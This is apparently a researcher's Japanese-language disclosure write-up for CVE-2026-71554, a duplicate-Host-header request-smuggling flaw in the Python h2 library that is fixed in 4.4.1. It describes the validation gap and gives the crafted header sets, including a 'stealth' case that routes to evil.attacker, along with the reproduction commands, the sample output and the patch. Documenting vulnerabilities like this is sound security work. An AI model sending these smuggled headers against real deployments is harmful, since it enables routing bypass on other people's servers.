
CVE-2026-71554のPoC - h2における重複Hostヘッダーのリクエストスマグリングプリミティブ(4.4.1で修正済み)
これは私の最初のCVEです。このPoCは、発見内容を文書化し、他の人が理解して再現できるように公開しました。
CVE: CVE-2026-71554 GHSA: GHSA-6hr6-w5qg-qmwg 影響を受けるバージョン: h2 <= 4.4.0 修正バージョン: h2 4.4.1 深刻度: 中 (CWE-444, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L = 5.3) NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71554
h2のヘッダー検証ロジックをレビューしている際に、src/h2/utilities.py内の_validate_host_authority_header()がHostと:authorityの一致をチェックしていることに気付きました。ただし、比較されるのは最後のHostヘッダーだけです。2つのHostヘッダーを送信すると、h2は2番目のヘッダーを一致チェックに使用し、両方をアプリケーションに問題なく転送します。
興味深いことに、h2 4.4.0は重複するContent-LengthヘッダーをProtocolErrorで既に拒否しています。同じ修正はHostには適用されていませんでした。ソースコードには、まさにこのギャップを認めるTODOコメントまでありました:
# TODO: We should also guard against receiving duplicate Host headers,
# and against sending duplicate headers.
src/h2/utilities.pyの_validate_host_authority_header()は、最後に確認されたHost値を記録するlast-winsループを使用し、以下のことだけをチェックします:
:authorityまたはHostの少なくとも1つが存在することHostヘッダーの数に関するチェックはありません。Hostヘッダーは、いくつ存在しても、それぞれが下流のアプリケーションに渡されます。
:authorityなしクライアントが送信:
:method: GET
:path: /
:scheme: https
host: good.internal
host: evil.attacker
h2は両方を受け入れます。アプリケーションは両方のHostヘッダーを受け取ります。
HTTP/1.1へのダウングレードで生成されるリクエスト:
GET / HTTP/1.1
host: good.internal
host: evil.attacker
RFC 9112のs3.2では、サーバーは複数のHostヘッダーを含むHTTP/1.1リクエストに対して400を返すことが要求されています。バックエンドの動作は分かれます:
nginx — rejects with 400
Python stdlib — accepts, returns FIRST Host on lookup
Werkzeug — accepts, returns FIRST Host on lookup
:authorityバイパス)クライアントが送信:
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker <- index 0, first Host (seen by origin)
host: good.internal <- index 1, last Host (used by h2 validator)
h2は検証します: 最後のHost (good.internal) == :authority (good.internal) — 一致するため通過します。
アプリケーションは両方のHostヘッダーを受け取ります。HTTP/1.1へのダウングレードで生成されるリクエスト:
GET / HTTP/1.1
host: evil.attacker
host: good.internal
シングルキールックアップで最初のHostを返すバックエンドは、h2がgood.internalを検証したと信じている間に、リクエストをevil.attackerにルーティングします。 h2が検証したものとオリジンが処理するものの間で、ルーティングの完全な不整合が発生します。
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker
h2はProtocolErrorを発生させます。このギャップが重複したHostヘッダーに固有のものであることを確認します。
影響はデプロイメントアーキテクチャに依存します:
pip install h2==4.4.0
python3 poc_h2_duplicate_host.py
CASE 1 - Two Host headers, no :authority (both forwarded)
h2 forwarded Host headers: ['good.internal', 'evil.attacker']
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: good.internal
host: evil.attacker
CASE 2 - STEALTH: :authority matches LAST Host, first Host smuggled
:authority=['good.internal'] Host(s)=['evil.attacker', 'good.internal']
h2 mismatch check PASSES (:authority == last Host).
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: evil.attacker
host: good.internal
CONTROL - Single mismatched Host vs :authority (correctly rejected)
[control] SENDER rejected: ProtocolError(...)
pip install h2==4.4.1
python3 poc_h2_duplicate_host.py
3つのケースすべてでProtocolErrorが発生します。ヘッダーは転送されません。
_validate_host_authority_header()の既存のループに1つのカウンターが追加されました:
host_header_count = 0
for header in headers:
if header[0] == b"host":
host_header_count += 1
yield header
if host_header_count > 1:
raise ProtocolError("Request header block has multiple Host headers.")
コミット: https://github.com/python-hyper/h2/commit/292a40829feefda98c8509dcdbbb4a57af9bd6a6
発見および報告: Sunand Mohan (https://github.com/SunandM)